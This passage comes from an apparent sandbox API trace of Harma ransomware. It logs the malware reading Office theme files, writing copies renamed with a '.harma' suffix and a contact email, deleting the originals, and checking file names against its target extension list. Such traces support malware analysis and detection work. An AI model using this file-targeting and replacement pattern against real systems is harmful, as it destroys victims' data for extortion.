nNumberOfBytesToWrite=0x52b0, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x52b0, lpOverlapped=0x0) returned 1 [0145.600] ReadFile (in: hFile=0x344, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0145.600] WriteFile (in: hFile=0x350, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xf0, lpOverlapped=0x0) returned 1 [0145.600] SetEndOfFile (hFile=0x350) returned 1 [0145.601] CloseHandle (hObject=0x350) returned 1 [0145.601] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.601] SetEndOfFile (hFile=0x344) returned 1 [0145.784] CloseHandle (hObject=0x344) returned 1 [0145.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0145.790] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx")) returned 1 [0145.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0145.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0145.793] lstrlenW (lpString=".doc") returned 4 [0145.793] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0145.793] lstrlenW (lpString=".docx") returned 5 [0145.793] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0145.793] lstrlenW (lpString=".pdf") returned 4 [0145.793] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0145.793] lstrlenW (lpString=".xls") returned 4 [0145.794] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0145.794] lstrlenW (lpString=".xlsx") returned 5 [0145.794] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0145.794] lstrlenW (lpString=".ppt") returned 4 [0145.794] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0145.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0145.794] lstrlenW (lpString=".zip") returned 4 [0145.794] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0145.794] lstrlenW (lpString=".rar") returned 4 [0145.794] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0145.794] lstrlenW (lpString=".bz2") returned 4 [0145.794] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0145.794] lstrlenW (lpString=".7z") returned 3 [0145.794] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0145.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0145.794] lstrlenW (lpString=".dbf") returned 4 [0145.794] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0145.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0145.794] lstrlenW (lpString=".1cd") returned 4 [0145.794] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0145.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0145.794] lstrlenW (lpString=".jpg") returned 4 [0145.794] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0145.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0145.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0145.794] lstrlenW (lpString=".doc") returned 4 [0145.794] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0145.794] lstrlenW (lpString=".docx") returned 5 [0145.794] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0145.794] lstrlenW (lpString=".pdf") returned 4 [0145.794] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0145.795] lstrlenW (lpString=".xls") returned 4 [0145.795] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0145.795] lstrlenW (lpString=".xlsx") returned 5 [0145.795] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0145.795] lstrlenW (lpString=".ppt") returned 4 [0145.795] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0145.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0145.795] lstrlenW (lpString=".zip") returned 4 [0145.795] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0145.795] lstrlenW (lpString=".rar") returned 4 [0145.795] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0145.795] lstrlenW (lpString=".bz2") returned 4 [0145.795] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0145.795] lstrlenW (lpString=".7z") returned 3 [0145.795] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0145.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0145.795] lstrlenW (lpString=".dbf") returned 4 [0145.795] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0145.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0145.795] lstrlenW (lpString=".1cd") returned 4 [0145.795] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0145.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0145.795] lstrlenW (lpString=".jpg") returned 4 [0145.795] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0145.795] lstrcmpiW (lpString1=".eftx", lpString2=".harma") returned -1 [0145.795] lstrlenW (lpString="Flow.eftx") returned 9 [0145.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0145.820] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=26648) returned 1 [0145.832] CloseHandle (hObject=0x350) returned 1 [0145.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx")) returned 0x20 [0145.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0145.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0145.844] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.844] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0145.844] GetLastError () returned 0x0 [0145.844] ReadFile (in: hFile=0x350, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x6818, lpOverlapped=0x0) returned 1 [0145.883] WriteFile (in: hFile=0x328, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x6820, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x6820, lpOverlapped=0x0) returned 1 [0145.884] ReadFile (in: hFile=0x350, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0145.884] WriteFile (in: hFile=0x328, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0145.884] SetEndOfFile (hFile=0x328) returned 1 [0145.884] CloseHandle (hObject=0x328) returned 1 [0145.893] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.893] SetEndOfFile (hFile=0x350) returned 1 [0145.895] CloseHandle (hObject=0x350) returned 1 [0145.895] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0145.896] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx")) returned 1 [0145.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0145.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0145.896] lstrlenW (lpString=".doc") returned 4 [0145.897] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0145.897] lstrlenW (lpString=".docx") returned 5 [0145.897] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0145.897] lstrlenW (lpString=".pdf") returned 4 [0145.897] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0145.897] lstrlenW (lpString=".xls") returned 4 [0145.897] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0145.897] lstrlenW (lpString=".xlsx") returned 5 [0145.897] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0145.897] lstrlenW (lpString=".ppt") returned 4 [0145.897] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0145.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0145.897] lstrlenW (lpString=".zip") returned 4 [0145.897] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0145.897] lstrlenW (lpString=".rar") returned 4 [0145.897] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0145.897] lstrlenW (lpString=".bz2") returned 4 [0145.897] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0145.897] lstrlenW (lpString=".7z") returned 3 [0145.897] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0145.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0145.897] lstrlenW (lpString=".dbf") returned 4 [0145.897] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0145.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0145.897] lstrlenW (lpString=".1cd") returned 4 [0145.897] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0145.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0145.897] lstrlenW (lpString=".jpg") returned 4 [0145.897] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0145.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0145.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0145.897] lstrlenW (lpString=".doc") returned 4 [0145.897] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0145.898] lstrlenW (lpString=".docx") returned 5 [0145.898] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0145.898] lstrlenW (lpString=".pdf") returned 4 [0145.898] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0145.898] lstrlenW (lpString=".xls") returned 4 [0145.898] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0145.898] lstrlenW (lpString=".xlsx") returned 5 [0145.898] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0145.898] lstrlenW (lpString=".ppt") returned 4 [0145.898] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0145.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0145.898] lstrlenW (lpString=".zip") returned 4 [0145.898] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0145.898] lstrlenW (lpString=".rar") returned 4 [0145.898] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0145.898] lstrlenW (lpString=".bz2") returned 4 [0145.898] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0145.898] lstrlenW (lpString=".7z") returned 3 [0145.898] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0145.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0145.898] lstrlenW (lpString=".dbf") returned 4 [0145.898] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0145.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0145.898] lstrlenW (lpString=".1cd") returned 4 [0145.898] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0145.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0145.898] lstrlenW (lpString=".jpg") returned 4 [0145.898] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0145.898] lstrcmpiW (lpString1=".eftx", lpString2=".harma") returned -1 [0145.899] lstrlenW (lpString="Horizon.eftx") returned 12 [0145.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0145.924] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=211090) returned 1 [0145.924] CloseHandle (hObject=0x344) returned 1 [0145.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx")) returned 0x20 [0145.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0145.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0145.924] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.924] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0146.034] GetLastError () returned 0x0 [0146.034] ReadFile (in: hFile=0x344, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x33892, lpOverlapped=0x0) returned 1 [0146.415] WriteFile (in: hFile=0x350, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x338a0, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x338a0, lpOverlapped=0x0) returned 1 [0146.419] ReadFile (in: hFile=0x344, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0146.419] WriteFile (in: hFile=0x350, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0146.419] SetEndOfFile (hFile=0x350) returned 1 [0146.419] CloseHandle (hObject=0x350) returned 1 [0146.420] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0146.420] SetEndOfFile (hFile=0x344) returned 1 [0146.426] CloseHandle (hObject=0x344) returned 1 [0146.426] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0146.788] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx")) returned 1 [0147.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0147.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0147.088] lstrlenW (lpString=".doc") returned 4 [0147.088] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0147.088] lstrlenW (lpString=".docx") returned 5 [0147.088] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0147.088] lstrlenW (lpString=".pdf") returned 4 [0147.088] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0147.088] lstrlenW (lpString=".xls") returned 4 [0147.088] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0147.088] lstrlenW (lpString=".xlsx") returned 5 [0147.088] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0147.088] lstrlenW (lpString=".ppt") returned 4 [0147.088] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0147.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0147.088] lstrlenW (lpString=".zip") returned 4 [0147.088] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0147.088] lstrlenW (lpString=".rar") returned 4 [0147.088] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0147.088] lstrlenW (lpString=".bz2") returned 4 [0147.088] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0147.088] lstrlenW (lpString=".7z") returned 3 [0147.088] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0147.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0147.089] lstrlenW (lpString=".dbf") returned 4 [0147.089] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0147.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0147.089] lstrlenW (lpString=".1cd") returned 4 [0147.089] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0147.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0147.089] lstrlenW (lpString=".jpg") returned 4 [0147.089] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0147.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0147.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0147.089] lstrlenW (lpString=".doc") returned 4 [0147.089] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0147.089] lstrlenW (lpString=".docx") returned 5 [0147.089] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0147.089] lstrlenW (lpString=".pdf") returned 4 [0147.089] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0147.089] lstrlenW (lpString=".xls") returned 4 [0147.089] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0147.089] lstrlenW (lpString=".xlsx") returned 5 [0147.089] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0147.089] lstrlenW (lpString=".ppt") returned 4 [0147.089] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0147.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0147.089] lstrlenW (lpString=".zip") returned 4 [0147.089] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0147.089] lstrlenW (lpString=".rar") returned 4 [0147.089] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0147.089] lstrlenW (lpString=".bz2") returned 4 [0147.089] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0147.090] lstrlenW (lpString=".7z") returned 3 [0147.090] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0147.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0147.090] lstrlenW (lpString=".dbf") returned 4 [0147.090] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0147.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0147.090] lstrlenW (lpString=".1cd") returned 4 [0147.090] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0147.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0147.090] lstrlenW (lpString=".jpg") returned 4 [0147.090] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0147.090] lstrcmpiW (lpString1=".eftx", lpString2=".harma") returned -1 [0147.090] lstrlenW (lpString="Pushpin.eftx") returned 12 [0147.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0147.109] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=782121) returned 1 [0147.109] CloseHandle (hObject=0x20c) returned 1 [0147.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx")) returned 0x20 [0147.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0147.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0147.109] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0147.109] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0147.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0147.110] GetLastError () returned 0x0 [0147.110] ReadFile (in: hFile=0x20c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0xbef29, lpOverlapped=0x0) returned 1 [0147.149] WriteFile (in: hFile=0x338, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xbef30, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xbef30, lpOverlapped=0x0) returned 1 [0147.167] ReadFile (in: hFile=0x20c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0147.167] WriteFile (in: hFile=0x338, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.167] SetEndOfFile (hFile=0x338) returned 1 [0147.167] CloseHandle (hObject=0x338) returned 1 [0147.167] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, 